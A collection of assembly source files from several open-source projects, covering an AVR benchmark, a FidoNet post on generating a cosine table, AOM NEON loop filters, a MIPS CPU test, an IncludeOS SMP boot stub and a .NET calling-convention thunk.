ldi r17, 12
mov r0, r16
mov r1, r17
add r0, r1
sub r0, r1
mul r16, r17
and r0, r1
or r0, r1
inc r5
brne inner
inc r4
brne inner
inc r21
cpi r21, 16
brne inner
break
| minf/avrora | src/avrora/test/bench/synth_big.asm | Assembly | bsd-3-clause | 215 |
Ä [11] Programaci¢n de Demos (2:341/136.5) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ R34.DEMOS.PROG Ä
Msg : 24 of 26
From : Pedro Anton Alonso 2:342/6.9 13 Apr 96 17:56:00
To : Antonio Tejada Lacaci
Subj : senos en 20 y pocos bytes...
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Hello Antonio!
Jesus de Santos Garcia says to Antonio Tejada Lacaci:
JdSG>>> ¨¨24 bytes para precalcular los senos??
JdSG>>> Si es por el mtodo de Taylor lo dudo mucho.
JdSG>>> Si es usando el copro lo dudo un poco menos.
AL>> .... conociendo a Mr. Shade ;) no creo que sea con el copro... :-?
AL>> ... JAVIER DONDE ESTAS, SACANOS DE DUDAS!!!!!!
No es con el copro, yo tenia un codigo que hacia eso, pero lo he buscado y no lo
encuentro ;'( es con incrementos, si mal no recuerdo, vino de uno de los
monstruitos vikingos, si lo encuentro lo pongo por aqu¡ O;)
ARGGGGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHHHHH
Lo encontr!!!!!!! Por fin record en que subdirectorio de mi HDD se encontraba
la explicaci¢n O;)
Lo pongo en Ingles que no quiero problemas con la traducci¢n O;)
Here's some explanation about the sinus table generator in the ACE BBS advert.
The method used is a recursive sinus sythesis. It's possible to compute all
sinus values with only the two previous ones and the value of cos(2ã/N) ,
where n is the number of values for one period.
It's as follow: Sin(K)=2.Cos(2ã/N).Sin(K-1)-Sin(K-2)
or Cos(K)=2.Cos(2ã/N).Cos(K-1)-Cos(K-2)
The last one is easiest to use , because the two first values of
the cos table are 1 & cos(2ã/n) and with this two values you are
able to build all the following...
Some simple code:
the cos table has 1024 values & ranges from -2^24 to 2^24
build_table:
lea DI,cos_table
mov CX,1022
mov EBX,cos_table[4]
mov EAX,EBX
@@calc:
imul EBX
shrd EAX,EDX,23
sub EAX,[DI-8]
stosd
loop @@calc
cos_table
dd 16777216 ; 2^24
dd 16776900 ; 2 ^24*cos(2ã/1024)
dd 1022 dup (?)
Y lamentablemente creo que son 30 bytes, o me equivoco? ;)
El vikingo en cuestion es: KarL/NoooN
Happy coding: @@@@@--------------------------------------------.
@@ | @@ @@@@ @@@@@@ @@@@@@@@ 2:342/6.9 |
@@ | @@ @ @@ @@ @@ @@ @@ crom@sol.parser.es |
@@@@@@--@@--- @@@@@@-@@-@@-@@---- Spanish Lords ----'
--- GoldED 2.40
* Origin: Coders do it better (2:342/6.9)
| khromalabs/Hypnotic | lib/senos.asm | Assembly | bsd-3-clause | 2,661 |
;
; Copyright (c) 2016, Alliance for Open Media. All rights reserved
;
; This source code is subject to the terms of the BSD 2 Clause License and
; the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License
; was not distributed with this source code in the LICENSE file, you can
; obtain it at www.aomedia.org/license/software. If the Alliance for Open
; Media Patent License 1.0 was not distributed with this source code in the
; PATENTS file, you can obtain it at www.aomedia.org/license/patent.
;
;
EXPORT |aom_lpf_horizontal_16_neon|
EXPORT |aom_lpf_vertical_16_neon|
ARM
AREA ||.text||, CODE, READONLY, ALIGN=2
; void aom_lpf_horizontal_16_neon(uint8_t *s, int p,
; const uint8_t *blimit,
; const uint8_t *limit,
; const uint8_t *thresh
; int count)
; r0 uint8_t *s,
; r1 int p, /* pitch */
; r2 const uint8_t *blimit,
; r3 const uint8_t *limit,
; sp const uint8_t *thresh,
|aom_lpf_horizontal_16_neon| PROC
push {r4-r8, lr}
vpush {d8-d15}
ldr r4, [sp, #88] ; load thresh
ldr r12, [sp, #92] ; load count
h_count
vld1.8 {d16[]}, [r2] ; load *blimit
vld1.8 {d17[]}, [r3] ; load *limit
vld1.8 {d18[]}, [r4] ; load *thresh
sub r8, r0, r1, lsl #3 ; move src pointer down by 8 lines
vld1.u8 {d0}, [r8@64], r1 ; p7
vld1.u8 {d1}, [r8@64], r1 ; p6
vld1.u8 {d2}, [r8@64], r1 ; p5
vld1.u8 {d3}, [r8@64], r1 ; p4
vld1.u8 {d4}, [r8@64], r1 ; p3
vld1.u8 {d5}, [r8@64], r1 ; p2
vld1.u8 {d6}, [r8@64], r1 ; p1
vld1.u8 {d7}, [r8@64], r1 ; p0
vld1.u8 {d8}, [r8@64], r1 ; q0
vld1.u8 {d9}, [r8@64], r1 ; q1
vld1.u8 {d10}, [r8@64], r1 ; q2
vld1.u8 {d11}, [r8@64], r1 ; q3
vld1.u8 {d12}, [r8@64], r1 ; q4
vld1.u8 {d13}, [r8@64], r1 ; q5
vld1.u8 {d14}, [r8@64], r1 ; q6
vld1.u8 {d15}, [r8@64], r1 ; q7
bl aom_wide_mbfilter_neon
tst r7, #1
beq h_mbfilter
; flat && mask were not set for any of the channels. Just store the values
; from filter.
sub r8, r0, r1, lsl #1
vst1.u8 {d25}, [r8@64], r1 ; store op1
vst1.u8 {d24}, [r8@64], r1 ; store op0
vst1.u8 {d23}, [r8@64], r1 ; store oq0
vst1.u8 {d26}, [r8@64], r1 ; store oq1
b h_next
h_mbfilter
tst r7, #2
beq h_wide_mbfilter
; flat2 was not set for any of the channels. Just store the values from
; mbfilter.
sub r8, r0, r1, lsl #1
sub r8, r8, r1
vst1.u8 {d18}, [r8@64], r1 ; store op2
vst1.u8 {d19}, [r8@64], r1 ; store op1
vst1.u8 {d20}, [r8@64], r1 ; store op0
vst1.u8 {d21}, [r8@64], r1 ; store oq0
vst1.u8 {d22}, [r8@64], r1 ; store oq1
vst1.u8 {d23}, [r8@64], r1 ; store oq2
b h_next
h_wide_mbfilter
sub r8, r0, r1, lsl #3
add r8, r8, r1
vst1.u8 {d16}, [r8@64], r1 ; store op6
vst1.u8 {d24}, [r8@64], r1 ; store op5
vst1.u8 {d25}, [r8@64], r1 ; store op4
vst1.u8 {d26}, [r8@64], r1 ; store op3
vst1.u8 {d27}, [r8@64], r1 ; store op2
vst1.u8 {d18}, [r8@64], r1 ; store op1
vst1.u8 {d19}, [r8@64], r1 ; store op0
vst1.u8 {d20}, [r8@64], r1 ; store oq0
vst1.u8 {d21}, [r8@64], r1 ; store oq1
vst1.u8 {d22}, [r8@64], r1 ; store oq2
vst1.u8 {d23}, [r8@64], r1 ; store oq3
vst1.u8 {d1}, [r8@64], r1 ; store oq4
vst1.u8 {d2}, [r8@64], r1 ; store oq5
vst1.u8 {d3}, [r8@64], r1 ; store oq6
h_next
add r0, r0, #8
subs r12, r12, #1
bne h_count
vpop {d8-d15}
pop {r4-r8, pc}
ENDP ; |aom_lpf_horizontal_16_neon|
; void aom_lpf_vertical_16_neon(uint8_t *s, int p,
; const uint8_t *blimit,
; const uint8_t *limit,
; const uint8_t *thresh)
; r0 uint8_t *s,
; r1 int p, /* pitch */
; r2 const uint8_t *blimit,
; r3 const uint8_t *limit,
; sp const uint8_t *thresh,
|aom_lpf_vertical_16_neon| PROC
push {r4-r8, lr}
vpush {d8-d15}
ldr r4, [sp, #88] ; load thresh
vld1.8 {d16[]}, [r2] ; load *blimit
vld1.8 {d17[]}, [r3] ; load *limit
vld1.8 {d18[]}, [r4] ; load *thresh
sub r8, r0, #8
vld1.8 {d0}, [r8@64], r1
vld1.8 {d8}, [r0@64], r1
vld1.8 {d1}, [r8@64], r1
vld1.8 {d9}, [r0@64], r1
vld1.8 {d2}, [r8@64], r1
vld1.8 {d10}, [r0@64], r1
vld1.8 {d3}, [r8@64], r1
vld1.8 {d11}, [r0@64], r1
vld1.8 {d4}, [r8@64], r1
vld1.8 {d12}, [r0@64], r1
vld1.8 {d5}, [r8@64], r1
vld1.8 {d13}, [r0@64], r1
vld1.8 {d6}, [r8@64], r1
vld1.8 {d14}, [r0@64], r1
vld1.8 {d7}, [r8@64], r1
vld1.8 {d15}, [r0@64], r1
sub r0, r0, r1, lsl #3
vtrn.32 q0, q2
vtrn.32 q1, q3
vtrn.32 q4, q6
vtrn.32 q5, q7
vtrn.16 q0, q1
vtrn.16 q2, q3
vtrn.16 q4, q5
vtrn.16 q6, q7
vtrn.8 d0, d1
vtrn.8 d2, d3
vtrn.8 d4, d5
vtrn.8 d6, d7
vtrn.8 d8, d9
vtrn.8 d10, d11
vtrn.8 d12, d13
vtrn.8 d14, d15
bl aom_wide_mbfilter_neon
tst r7, #1
beq v_mbfilter
; flat && mask were not set for any of the channels. Just store the values
; from filter.
sub r8, r0, #2
vswp d23, d25
vst4.8 {d23[0], d24[0], d25[0], d26[0]}, [r8], r1
vst4.8 {d23[1], d24[1], d25[1], d26[1]}, [r8], r1
vst4.8 {d23[2], d24[2], d25[2], d26[2]}, [r8], r1
vst4.8 {d23[3], d24[3], d25[3], d26[3]}, [r8], r1
vst4.8 {d23[4], d24[4], d25[4], d26[4]}, [r8], r1
vst4.8 {d23[5], d24[5], d25[5], d26[5]}, [r8], r1
vst4.8 {d23[6], d24[6], d25[6], d26[6]}, [r8], r1
vst4.8 {d23[7], d24[7], d25[7], d26[7]}, [r8], r1
b v_end
v_mbfilter
tst r7, #2
beq v_wide_mbfilter
; flat2 was not set for any of the channels. Just store the values from
; mbfilter.
sub r8, r0, #3
vst3.8 {d18[0], d19[0], d20[0]}, [r8], r1
vst3.8 {d21[0], d22[0], d23[0]}, [r0], r1
vst3.8 {d18[1], d19[1], d20[1]}, [r8], r1
vst3.8 {d21[1], d22[1], d23[1]}, [r0], r1
vst3.8 {d18[2], d19[2], d20[2]}, [r8], r1
vst3.8 {d21[2], d22[2], d23[2]}, [r0], r1
vst3.8 {d18[3], d19[3], d20[3]}, [r8], r1
vst3.8 {d21[3], d22[3], d23[3]}, [r0], r1
vst3.8 {d18[4], d19[4], d20[4]}, [r8], r1
vst3.8 {d21[4], d22[4], d23[4]}, [r0], r1
vst3.8 {d18[5], d19[5], d20[5]}, [r8], r1
vst3.8 {d21[5], d22[5], d23[5]}, [r0], r1
vst3.8 {d18[6], d19[6], d20[6]}, [r8], r1
vst3.8 {d21[6], d22[6], d23[6]}, [r0], r1
vst3.8 {d18[7], d19[7], d20[7]}, [r8], r1
vst3.8 {d21[7], d22[7], d23[7]}, [r0], r1
b v_end
v_wide_mbfilter
sub r8, r0, #8
vtrn.32 d0, d26
vtrn.32 d16, d27
vtrn.32 d24, d18
vtrn.32 d25, d19
vtrn.16 d0, d24
vtrn.16 d16, d25
vtrn.16 d26, d18
vtrn.16 d27, d19
vtrn.8 d0, d16
vtrn.8 d24, d25
vtrn.8 d26, d27
vtrn.8 d18, d19
vtrn.32 d20, d1
vtrn.32 d21, d2
vtrn.32 d22, d3
vtrn.32 d23, d15
vtrn.16 d20, d22
vtrn.16 d21, d23
vtrn.16 d1, d3
vtrn.16 d2, d15
vtrn.8 d20, d21
vtrn.8 d22, d23
vtrn.8 d1, d2
vtrn.8 d3, d15
vst1.8 {d0}, [r8@64], r1
vst1.8 {d20}, [r0@64], r1
vst1.8 {d16}, [r8@64], r1
vst1.8 {d21}, [r0@64], r1
vst1.8 {d24}, [r8@64], r1
vst1.8 {d22}, [r0@64], r1
vst1.8 {d25}, [r8@64], r1
vst1.8 {d23}, [r0@64], r1
vst1.8 {d26}, [r8@64], r1
vst1.8 {d1}, [r0@64], r1
vst1.8 {d27}, [r8@64], r1
vst1.8 {d2}, [r0@64], r1
vst1.8 {d18}, [r8@64], r1
vst1.8 {d3}, [r0@64], r1
vst1.8 {d19}, [r8@64], r1
vst1.8 {d15}, [r0@64], r1
v_end
vpop {d8-d15}
pop {r4-r8, pc}
ENDP ; |aom_lpf_vertical_16_neon|
; void aom_wide_mbfilter_neon();
; This is a helper function for the loopfilters. The invidual functions do the
; necessary load, transpose (if necessary) and store.
;
; r0-r3 PRESERVE
; d16 blimit
; d17 limit
; d18 thresh
; d0 p7
; d1 p6
; d2 p5
; d3 p4
; d4 p3
; d5 p2
; d6 p1
; d7 p0
; d8 q0
; d9 q1
; d10 q2
; d11 q3
; d12 q4
; d13 q5
; d14 q6
; d15 q7
|aom_wide_mbfilter_neon| PROC
mov r7, #0
; filter_mask
vabd.u8 d19, d4, d5 ; abs(p3 - p2)
vabd.u8 d20, d5, d6 ; abs(p2 - p1)
vabd.u8 d21, d6, d7 ; abs(p1 - p0)
vabd.u8 d22, d9, d8 ; abs(q1 - q0)
vabd.u8 d23, d10, d9 ; abs(q2 - q1)
vabd.u8 d24, d11, d10 ; abs(q3 - q2)
; only compare the largest value to limit
vmax.u8 d19, d19, d20 ; max(abs(p3 - p2), abs(p2 - p1))
vmax.u8 d20, d21, d22 ; max(abs(p1 - p0), abs(q1 - q0))
vmax.u8 d23, d23, d24 ; max(abs(q2 - q1), abs(q3 - q2))
vmax.u8 d19, d19, d20
vabd.u8 d24, d7, d8 ; abs(p0 - q0)
vmax.u8 d19, d19, d23
vabd.u8 d23, d6, d9 ; a = abs(p1 - q1)
vqadd.u8 d24, d24, d24 ; b = abs(p0 - q0) * 2
; abs () > limit
vcge.u8 d19, d17, d19
; flatmask4
vabd.u8 d25, d7, d5 ; abs(p0 - p2)
vabd.u8 d26, d8, d10 ; abs(q0 - q2)
vabd.u8 d27, d4, d7 ; abs(p3 - p0)
vabd.u8 d28, d11, d8 ; abs(q3 - q0)
; only compare the largest value to thresh
vmax.u8 d25, d25, d26 ; max(abs(p0 - p2), abs(q0 - q2))
vmax.u8 d26, d27, d28 ; max(abs(p3 - p0), abs(q3 - q0))
vmax.u8 d25, d25, d26
vmax.u8 d20, d20, d25
vshr.u8 d23, d23, #1 ; a = a / 2
vqadd.u8 d24, d24, d23 ; a = b + a
vmov.u8 d30, #1
vcge.u8 d24, d16, d24 ; (a > blimit * 2 + limit) * -1
vcge.u8 d20, d30, d20 ; flat
vand d19, d19, d24 ; mask
; hevmask
vcgt.u8 d21, d21, d18 ; (abs(p1 - p0) > thresh)*-1
vcgt.u8 d22, d22, d18 ; (abs(q1 - q0) > thresh)*-1
vorr d21, d21, d22 ; hev
vand d16, d20, d19 ; flat && mask
vmov r5, r6, d16
; flatmask5(1, p7, p6, p5, p4, p0, q0, q4, q5, q6, q7)
vabd.u8 d22, d3, d7 ; abs(p4 - p0)
vabd.u8 d23, d12, d8 ; abs(q4 - q0)
vabd.u8 d24, d7, d2 ; abs(p0 - p5)
vabd.u8 d25, d8, d13 ; abs(q0 - q5)
vabd.u8 d26, d1, d7 ; abs(p6 - p0)
vabd.u8 d27, d14, d8 ; abs(q6 - q0)
vabd.u8 d28, d0, d7 ; abs(p7 - p0)
vabd.u8 d29, d15, d8 ; abs(q7 - q0)
; only compare the largest value to thresh
vmax.u8 d22, d22, d23 ; max(abs(p4 - p0), abs(q4 - q0))
vmax.u8 d23, d24, d25 ; max(abs(p0 - p5), abs(q0 - q5))
vmax.u8 d24, d26, d27 ; max(abs(p6 - p0), abs(q6 - q0))
vmax.u8 d25, d28, d29 ; max(abs(p7 - p0), abs(q7 - q0))
vmax.u8 d26, d22, d23
vmax.u8 d27, d24, d25
vmax.u8 d23, d26, d27
vcge.u8 d18, d30, d23 ; flat2
vmov.u8 d22, #0x80
orrs r5, r5, r6 ; Check for 0
orreq r7, r7, #1 ; Only do filter branch
vand d17, d18, d16 ; flat2 && flat && mask
vmov r5, r6, d17
; mbfilter() function
; filter() function
; convert to signed
veor d23, d8, d22 ; qs0
veor d24, d7, d22 ; ps0
veor d25, d6, d22 ; ps1
veor d26, d9, d22 ; qs1
vmov.u8 d27, #3
vsub.s8 d28, d23, d24 ; ( qs0 - ps0)
vqsub.s8 d29, d25, d26 ; filter = clamp(ps1-qs1)
vmull.s8 q15, d28, d27 ; 3 * ( qs0 - ps0)
vand d29, d29, d21 ; filter &= hev
vaddw.s8 q15, q15, d29 ; filter + 3 * (qs0 - ps0)
vmov.u8 d29, #4
; filter = clamp(filter + 3 * ( qs0 - ps0))
vqmovn.s16 d28, q15
vand d28, d28, d19 ; filter &= mask
vqadd.s8 d30, d28, d27 ; filter2 = clamp(filter+3)
vqadd.s8 d29, d28, d29 ; filter1 = clamp(filter+4)
vshr.s8 d30, d30, #3 ; filter2 >>= 3
vshr.s8 d29, d29, #3 ; filter1 >>= 3
vqadd.s8 d24, d24, d30 ; op0 = clamp(ps0 + filter2)
vqsub.s8 d23, d23, d29 ; oq0 = clamp(qs0 - filter1)
; outer tap adjustments: ++filter1 >> 1
vrshr.s8 d29, d29, #1
vbic d29, d29, d21 ; filter &= ~hev
vqadd.s8 d25, d25, d29 ; op1 = clamp(ps1 + filter)
vqsub.s8 d26, d26, d29 ; oq1 = clamp(qs1 - filter)
veor d24, d24, d22 ; *f_op0 = u^0x80
veor d23, d23, d22 ; *f_oq0 = u^0x80
veor d25, d25, d22 ; *f_op1 = u^0x80
veor d26, d26, d22 ; *f_oq1 = u^0x80
tst r7, #1
bxne lr
orrs r5, r5, r6 ; Check for 0
orreq r7, r7, #2 ; Only do mbfilter branch
; mbfilter flat && mask branch
; TODO(fgalligan): Can I decrease the cycles shifting to consective d's
; and using vibt on the q's?
vmov.u8 d29, #2
vaddl.u8 q15, d7, d8 ; op2 = p0 + q0
vmlal.u8 q15, d4, d27 ; op2 = p0 + q0 + p3 * 3
vmlal.u8 q15, d5, d29 ; op2 = p0 + q0 + p3 * 3 + p2 * 2
vaddl.u8 q10, d4, d5
vaddw.u8 q15, d6 ; op2=p1 + p0 + q0 + p3 * 3 + p2 *2
vaddl.u8 q14, d6, d9
vqrshrn.u16 d18, q15, #3 ; r_op2
vsub.i16 q15, q10
vaddl.u8 q10, d4, d6
vadd.i16 q15, q14
vaddl.u8 q14, d7, d10
vqrshrn.u16 d19, q15, #3 ; r_op1
vsub.i16 q15, q10
vadd.i16 q15, q14
vaddl.u8 q14, d8, d11
vqrshrn.u16 d20, q15, #3 ; r_op0
vsubw.u8 q15, d4 ; oq0 = op0 - p3
vsubw.u8 q15, d7 ; oq0 -= p0
vadd.i16 q15, q14
vaddl.u8 q14, d9, d11
vqrshrn.u16 d21, q15, #3 ; r_oq0
vsubw.u8 q15, d5 ; oq1 = oq0 - p2
vsubw.u8 q15, d8 ; oq1 -= q0
vadd.i16 q15, q14
vaddl.u8 q14, d10, d11
vqrshrn.u16 d22, q15, #3 ; r_oq1
vsubw.u8 q15, d6 ; oq2 = oq0 - p1
vsubw.u8 q15, d9 ; oq2 -= q1
vadd.i16 q15, q14
vqrshrn.u16 d27, q15, #3 ; r_oq2
; Filter does not set op2 or oq2, so use p2 and q2.
vbif d18, d5, d16 ; t_op2 |= p2 & ~(flat & mask)
vbif d19, d25, d16 ; t_op1 |= f_op1 & ~(flat & mask)
vbif d20, d24, d16 ; t_op0 |= f_op0 & ~(flat & mask)
vbif d21, d23, d16 ; t_oq0 |= f_oq0 & ~(flat & mask)
vbif d22, d26, d16 ; t_oq1 |= f_oq1 & ~(flat & mask)
vbit d23, d27, d16 ; t_oq2 |= r_oq2 & (flat & mask)
vbif d23, d10, d16 ; t_oq2 |= q2 & ~(flat & mask)
tst r7, #2
bxne lr
; wide_mbfilter flat2 && flat && mask branch
vmov.u8 d16, #7
vaddl.u8 q15, d7, d8 ; op6 = p0 + q0
vaddl.u8 q12, d2, d3
vaddl.u8 q13, d4, d5
vaddl.u8 q14, d1, d6
vmlal.u8 q15, d0, d16 ; op6 += p7 * 3
vadd.i16 q12, q13
vadd.i16 q15, q14
vaddl.u8 q14, d2, d9
vadd.i16 q15, q12
vaddl.u8 q12, d0, d1
vaddw.u8 q15, d1
vaddl.u8 q13, d0, d2
vadd.i16 q14, q15, q14
vqrshrn.u16 d16, q15, #4 ; w_op6
vsub.i16 q15, q14, q12
vaddl.u8 q14, d3, d10
vqrshrn.u16 d24, q15, #4 ; w_op5
vsub.i16 q15, q13
vaddl.u8 q13, d0, d3
vadd.i16 q15, q14
vaddl.u8 q14, d4, d11
vqrshrn.u16 d25, q15, #4 ; w_op4
vadd.i16 q15, q14
vaddl.u8 q14, d0, d4
vsub.i16 q15, q13
vsub.i16 q14, q15, q14
vqrshrn.u16 d26, q15, #4 ; w_op3
vaddw.u8 q15, q14, d5 ; op2 += p2
vaddl.u8 q14, d0, d5
vaddw.u8 q15, d12 ; op2 += q4
vbif d26, d4, d17 ; op3 |= p3 & ~(f2 & f & m)
vqrshrn.u16 d27, q15, #4 ; w_op2
vsub.i16 q15, q14
vaddl.u8 q14, d0, d6
vaddw.u8 q15, d6 ; op1 += p1
vaddw.u8 q15, d13 ; op1 += q5
vbif d27, d18, d17 ; op2 |= t_op2 & ~(f2 & f & m)
vqrshrn.u16 d18, q15, #4 ; w_op1
vsub.i16 q15, q14
vaddl.u8 q14, d0, d7
vaddw.u8 q15, d7 ; op0 += p0
vaddw.u8 q15, d14 ; op0 += q6
vbif d18, d19, d17 ; op1 |= t_op1 & ~(f2 & f & m)
vqrshrn.u16 d19, q15, #4 ; w_op0
vsub.i16 q15, q14
vaddl.u8 q14, d1, d8
vaddw.u8 q15, d8 ; oq0 += q0
vaddw.u8 q15, d15 ; oq0 += q7
vbif d19, d20, d17 ; op0 |= t_op0 & ~(f2 & f & m)
vqrshrn.u16 d20, q15, #4 ; w_oq0
vsub.i16 q15, q14
vaddl.u8 q14, d2, d9
vaddw.u8 q15, d9 ; oq1 += q1
vaddl.u8 q4, d10, d15
vaddw.u8 q15, d15 ; oq1 += q7
vbif d20, d21, d17 ; oq0 |= t_oq0 & ~(f2 & f & m)
vqrshrn.u16 d21, q15, #4 ; w_oq1
vsub.i16 q15, q14
vaddl.u8 q14, d3, d10
vadd.i16 q15, q4
vaddl.u8 q4, d11, d15
vbif d21, d22, d17 ; oq1 |= t_oq1 & ~(f2 & f & m)
vqrshrn.u16 d22, q15, #4 ; w_oq2
vsub.i16 q15, q14
vaddl.u8 q14, d4, d11
vadd.i16 q15, q4
vaddl.u8 q4, d12, d15
vbif d22, d23, d17 ; oq2 |= t_oq2 & ~(f2 & f & m)
vqrshrn.u16 d23, q15, #4 ; w_oq3
vsub.i16 q15, q14
vaddl.u8 q14, d5, d12
vadd.i16 q15, q4
vaddl.u8 q4, d13, d15
vbif d16, d1, d17 ; op6 |= p6 & ~(f2 & f & m)
vqrshrn.u16 d1, q15, #4 ; w_oq4
vsub.i16 q15, q14
vaddl.u8 q14, d6, d13
vadd.i16 q15, q4
vaddl.u8 q4, d14, d15
vbif d24, d2, d17 ; op5 |= p5 & ~(f2 & f & m)
vqrshrn.u16 d2, q15, #4 ; w_oq5
vsub.i16 q15, q14
vbif d25, d3, d17 ; op4 |= p4 & ~(f2 & f & m)
vadd.i16 q15, q4
vbif d23, d11, d17 ; oq3 |= q3 & ~(f2 & f & m)
vqrshrn.u16 d3, q15, #4 ; w_oq6
vbif d1, d12, d17 ; oq4 |= q4 & ~(f2 & f & m)
vbif d2, d13, d17 ; oq5 |= q5 & ~(f2 & f & m)
vbif d3, d14, d17 ; oq6 |= q6 & ~(f2 & f & m)
bx lr
ENDP ; |aom_wide_mbfilter_neon|
END
| shacklettbp/aom | aom_dsp/arm/loopfilter_mb_neon.asm | Assembly | bsd-2-clause | 20,777 |
.text
# spec for addx
addiu $s0 $0 2
addiu $s1 $0 -1
addu $s2 $s0 $s1
addi $s1, $s2, 32
addiu $s1, $s1, 32
add $s0, $s1, $s2
addu $s0, $s0, $s1
# spec for andx
add $s0, $s2, 31
add $s1, $s2, 15
and $s0, $s0, $s1
andi $s2, $s0, 8
# spec for shift
sll $s2, $s1, 1
srl $s1, $s1, 1
addiu $s0, $zero, 0xff
sra $s0, $s0, 4
# spec for sub/or/ori/nor
sub $s0 ,$s1, $s2
or $s1, $s0, $s1
ori $s2, $s2, 0xff
nor $s0, $s1,$s2
# spec for slt/slti/sltu
slt $s3, $s1, $s2
sw $s3, 16($zero)
slti $s4, $s0, 0x0f
sw $s4, 20($zero)
addi $s0, $zero, 0x7fff
sltu $s5, $s0, $s1
sw $s5, 24($zero)
# spec for lw/sw
addi $s0, $zero, 0
sw $s1, 4($s0)
addi $s1, $zero, 8
sw $s2, 4($s1)
lw $s0, 4($s0)
lw $s1, 4($s1)
# spec for beq/bne
addi $s1, $zero, -100
addi $s2, $zero, -100
beq $s1, $s2, beq_test
addi $s1, $zero, 200 # test for branch hazard($s1 shouldn't get updated)
beq $zero, $zero, beq_next # j beq_next
beq_test:
addi $s0, $zero, 233
beq_next:
addi $s1, $zero, -100
addi $s2, $zero, 100
bne $s1, $s2, bne_test
addi $s2, $zero, 300 # test for branch hazard($s2 shouldn't get updated)
beq $zero, $zero, bne_next # j beq_next
bne_test:
addi $s1, $zero, 250
bne_next:
# spec for j/jal/jr
addi $s0, $zero, 400
j j_test
addi $s0, $zero, 401
addi $s0, $zero, 402
addi $s0, $zero, 403
addi $s0, $zero, 40４
addi $s0, $zero, 40５
j_test:
addi $s1, $zero, 500
jal jal_test
addi $s1, $zero, 501
addi $s1, $zero, 502
addi $s1, $zero, 503
addi $s1, $zero, 504
addi $s1, $zero, 505
j exit
jal_test:
addi $s2, $zero, 600
jr $ra
exit:
#spec for led syscall
addi $v0, $zero, 0
addi $a0, $zero, 0x7f
# manually add: syscall 0000000c
addi $a0, $zero, 0x3f
# manually add: syscall 0000000c
# spec for exit syscall
addi $v0, $zero, 10
syscall
# ignore
addi $s0, $zero, 100
addi $s1, $zero, 200
addi $s2, $zero, 300
| sabertazimi/hust-lab | architecture/lab3/test/asm/cpu_test.asm | Assembly | mit | 1,816 |
; This file is a part of the IncludeOS unikernel - www.includeos.org
;
; Copyright 2015 Oslo and Akershus University College of Applied Sciences
; and Alfred Bratterud
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS,
; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; See the License for the specific language governing permissions and
; limitations under the License.
;
; Thanks to Maghsoud for paving the way to SMP!
; We are still calling them Revenants
;
org 0x10000
BITS 16
; 2-bytes of jmp instruction, but aligned to 4-bytes (!)
JMP boot_code
ALIGN 4
; 20 bytes of addresses that we must modify
; before we can start this bootloader
revenant_main dd 0x0
stack_base dd 0x0
stack_size dd 0
ALIGN 4
boot_code:
; disable interrupts
cli
; segment descriptor table
lgdt [cs:gdtr]
mov edx, cr0 ; set bit 0 of CR0
or edx, 1 ; to enable protected mode
mov cr0, edx
; A small delay
nop
nop
nop
; flush and enter protected mode
JMP DWORD 0x08:protected_mode
;; Global descriptor table
gdtr:
dw gdt32_end - gdt32 - 1
dq gdt32
gdt32:
;; Entry 0x0: Null desriptor
dq 0x0
;; Entry 0x8: Code segment
dw 0xffff ;Limit
dw 0x0000 ;Base 15:00
db 0x00 ;Base 23:16
dw 0xcf9a ;Flags
db 0x00 ;Base 32:24
;; Entry 0x10: Data segment
dw 0xffff ;Limit
dw 0x0000 ;Base 15:00
db 0x00 ;Base 23:16
dw 0xcf92 ;Flags
db 0x00 ;Base 32:24
gdt32_end:
BITS 32
protected_mode:
cld
; set most segments to data (0x10)
mov ax, 0x10
mov ds, ax
mov es, ax
mov ss, ax
; retrieve CPU id
mov eax, 1
cpuid
shr ebx, 24
; give separate stack to each cpu
mov eax, DWORD [stack_size]
mul ebx
add eax, [stack_base]
mov ebp, eax
mov esp, ebp
; enable SSE
call enable_sse
push ebx
call [revenant_main]
; stop execution
cli
hlt
enable_sse:
mov eax, cr0
and ax, 0xFFFB ;clear coprocessor emulation CR0.EM
or ax, 0x2 ;set coprocessor monitoring CR0.MP
mov cr0, eax
mov eax, cr4
or ax, 3 << 9 ;set CR4.OSFXSR and CR4.OSXMMEXCPT at the same time
mov cr4, eax
ret
| AndreasAakesson/IncludeOS | src/platform/x86_pc/apic_boot.asm | Assembly | apache-2.0 | 2,533 |
;; Licensed to the .NET Foundation under one or more agreements.
;; The .NET Foundation licenses this file to you under the MIT license.
;; See the LICENSE file in the project root for more information.
.586
.model flat
option casemap:none
.code
;; -----------------------------------------------------------------------------------------------------------
;; standard macros
;; -----------------------------------------------------------------------------------------------------------
LEAF_ENTRY macro Name, Section
Section segment para 'CODE'
public Name
Name proc
endm
LEAF_END macro Name, Section
Name endp
Section ends
endm
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; DATA SECTIONS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; struct ReturnBlock
;; {
;; 8 bytes of space
;; Used to hold return information.
;; eax, and 32bit float returns use the first 4 bytes,
;; eax,edx and 64bit float returns use the full 8 bytes
;; };
;;
ReturnInformation__ReturnData EQU 4h
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Interop Thunks Helpers ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; ? CallingConventionConverter_ReturnVoidReturnThunk(int cbBytesOfStackToPop)
;;
LEAF_ENTRY CallingConventionConverter_ReturnVoidReturnThunk, _TEXT
pop edx ; pop return address into edx
add esp,ecx ; remove ecx bytes from the call stack
push edx ; put the return address back on the stack
ret ; return to it (use a push/ret pair here so that the return stack buffer still works)
LEAF_END CallingConventionConverter_ReturnVoidReturnThunk, _TEXT
;;
